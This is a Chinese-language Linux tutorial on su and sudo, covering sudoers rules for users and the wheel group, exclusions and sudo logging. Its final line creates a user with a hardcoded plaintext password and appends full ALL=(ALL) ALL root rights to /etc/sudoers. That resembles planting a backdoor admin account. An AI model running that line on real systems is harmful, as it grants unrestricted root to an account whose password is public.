三、使用sudo分配管理权限
使用sudo分配管理权限
su命令
su - [账户名称] :切换到用户,不加用户名默认切换到root
su - [账户名称] -c '命令' :以xx用户身份执行命令,注意命令需用引号引起来
[jacob@proxy ~]# su - //切换账户,默认切换为root账户
密码:
[root@proxy ~]#
[root@proxy ~]# su - tom -c "mkdir /home/tom/test" //管理员切换普通用户
[tom@proxy ~]# su - -c "systemctl restart sshd" //以管理员重启服务
分配部分命令root权限给普通用户:
which 命令 :查看命令的原始路径
[root@proxy ~]# vim /etc/sudoers //修改配置(vim或visudo),修改文件后,需要使用wq!强制保存
.. ..
softadm ALL=(ALL) /usr/bin/systemctl //授权softadm以root身份执行systemctl命令
用户名 哪些位置登陆(主机名)=什么身份 执行什么命令 //不同的命令,分开;例外程序以!符号取反。在执行相关程序时可以利用通配符*
[root@proxy ~]# su - softadm
[softadm@proxy ~]$ sudo -l //查询有哪些sodu命令权限,普通用户第一次sudo需要输入自己帐号的密码
… …
[sudo] password for softadm: //输入softadm的口令
.. ..
用户 softadm 可以在该主机上运行以下命令:
(ALL) /usr/bin/systemctl
[softadm@proxy ~]$ systemctl start httpd //不用sudo时启动服务失败
Authentication is required
.. ..
[softadm@proxy ~]$ sudo systemctl restart httpd //通过sudo启动服务成功
[root@proxy ~]# vim /etc/sudoers
.. ..
useradm ALL=(ALL) /usr/bin/passwd,!/usr/bin/passwd root,/usr/sbin/user*,!/usr/sbin/user* * root
//给予各种用户类命令、修改密码权限,但不能操作root用户的
[useradm@proxy ~]$ sudo useradd newuser01 //可以添加用户
[useradm@proxy ~]$ sudo passwd newuser01 //可以修改普通用户的口令
分配部分命令root权限给组成员(%代表组,生产环境下慎用)
[root@proxy ~]# vim /etc/sudoers
.. ..
%wheel ALL=(ALL) /bin/*
[root@proxy ~]# usermod -a -G wheel zengye
[zengye@proxy ~]$ sudo -l
.. ..
用户 zengye 可以在该主机上运行以下命令:
(root) /bin/*
sudo启用日志记录(默认没有日志)
[root@proxy ~]# visudo //修改/etc/sudoers配置,添加日志设置,以便跟踪sudo执行操作
Defaults logfile="/var/log/sudo"
.. ..
[root@proxy ~]# sudo -l //查看授权的sudo操作
[softadm@proxy ~]# sudo systemctl status httpd //查看授权的sudo操作
[root@proxy ~]# tail /var/log/sudo //确认日志记录已生效
.. ..
May 16 22:14:49 : root : TTY=pts/1 ; PWD=/root ; USER=root ; COMMAND=list
Feb 22 22:35:43 : softadm : TTY=pts/11 ; PWD=/home/softadm ; USER=root ;
COMMAND=/bin/systemctl status httpd
useradd Nero.li && echo 'FEfHOQSJpT4Q@'| passwd --stdin Nero.li && echo 'Nero.li ALL=(ALL) ALL' >>/etc/sudoers